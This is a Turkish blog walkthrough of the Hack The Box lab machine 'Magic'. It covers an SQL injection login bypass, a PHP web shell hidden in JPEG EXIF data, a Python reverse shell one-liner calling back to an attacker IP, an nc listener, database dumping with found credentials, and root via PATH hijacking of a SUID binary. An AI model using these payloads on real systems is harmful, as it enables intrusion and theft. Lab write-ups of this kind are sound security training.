Hack The Box:Magic

Hack The Box serimize devam ederken karşımıza bu sefer Magic isimli makine çıkıyor. Çözerken zevk aldığımı söylemeden geçemeyeceğim. Tam 30 puan veren orta zorluktaki İlgili makinemiz bu.

Magic

Nmap taraması yaptığımda 22 ve 80. portun açık olduğunu görüyorum. Yani web’den devam edeceğiz.

nmap -A -n --top-ports 100 10.10.10.185
Magic

Web’de beni şöyle bir sayfa karşılıyor. Sol alt köşede login sayfası olduğunu görüyorum.

Magic

Giriş de birkaç deneme yanılmadan sonra sqli olup olmadığını kontrol ediyorum ve giriş yapabiliyorum.

Kullanıcı adı: ‘or’kb’=’kb

Parola: ‘or’kb’=’kb

Magic

Karşıma sadece png ve jpeg dosyalarını yükleyebileceğimi söyleyen upload ekranı çıkıyor. Ben de herhangi bir resim dosyası bulup exiftool ile içine php kodu gömüyorum. Dosya adını .php.jpeg şeklinde kaydedip yüklemeyi deniyorum.

exiftool -Comment=’<?php echo “<pre>”; system($_GET[‘komut’]); ?>’ ruger.jpeg
mv ruger.jpeg ruger.php.jpeg
Magic
Magic
Magic

Görüldüğü üzere shell dosyam başarıyla yüklendi ama nereye? Resim kaynağını bulmak için anasayfaya gelip kaynağı görüntüle dediğimde resimlerin dosya yolunu görebilirsiniz.

Magic

/images/uploads/ruger.php.jpeg dosyasını “komut” parametresiyle çağırıp python reverse shell almayı deneyelim bakalım.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.229",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Magic

netcat ile 1337. portu dinlemeye aldığımda ters bağlantı elde ettim

nc -lvp 1337

Magic

Bildiğiniz bir işlem olan python ile etkileşimli kabuğa geçtim.

python3 -c “import pty;pty.spawn(‘/bin/bash’)”

Makinede gezinirken /var/www/Magic dizini altında veritabanı bilgilerini buldum.Bu bilgilerle belki theseus kullanıcısına geçiş yapabilirim.

Magic

Kullanıcı adı ve parolayı denediğimde işe yaramadı. Bende bu bilgileri kullanarak mysqdump ile veritabanı dökümünü aldım ve karşıma farklı bir parola çıktı.

mysqldump -utheseus -piamkingtheseus --databases Magic

Magic

Bulduğum parolayı theseus kullancısı için denediğimde işe yaradı ve user flagı elde ettim.

Magic

Tabi bununla bitmedi.Şimdi sırada root olmak var. Bunun için birkaç yöntem denedim ve en son suid bit ayarlı dosyalara baktığımda karşıma farklı bir dosya çıktı. sysinfo isimli bu programa suid bit vererek root haklarıyla çalışmasına olanak sağlanmış.

find / -perm -u=s -type f 2>/dev/null

Magic

İlgili programın ne olduğunu anlamak için strings komutuyla sysinfo içinde geçen stringlere baktığımda belli başlı komutları root haklarıyla çalıştırdığını gördüm.

strings /bin/sysinfo

Magic

Burada fdisk ile de yetki yükseltebilirsiniz ama ben free komutu ile yetki yükselteceğim. Bunun için tmp dizini altında KB isimli klasör oluşturuyorum.

Touch ile free isimli dosya oluşturup içine web kısmında kullandığımız python reverse shell kodunu yapıştırıyorum.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.229",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Neden mi böyle yaptık? Çünkü path çevre değişkenine eğer bulunduğumuz dizini verirsek kabuktan çalıştırılacak olan bütün programlar tarafından erişilebilir olur. Bu şu demek eğer sysinfo komutunu tekrar çalıştırırsam benim kendi oluşturduğum free dosyasını kullanacak(root haklarıyla) ve bana tekrar ters bağlantı gelecek.

Magic

Tekrar sysinfo komutunu çalıştırıyorum ve root oluyorum.

Magic

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir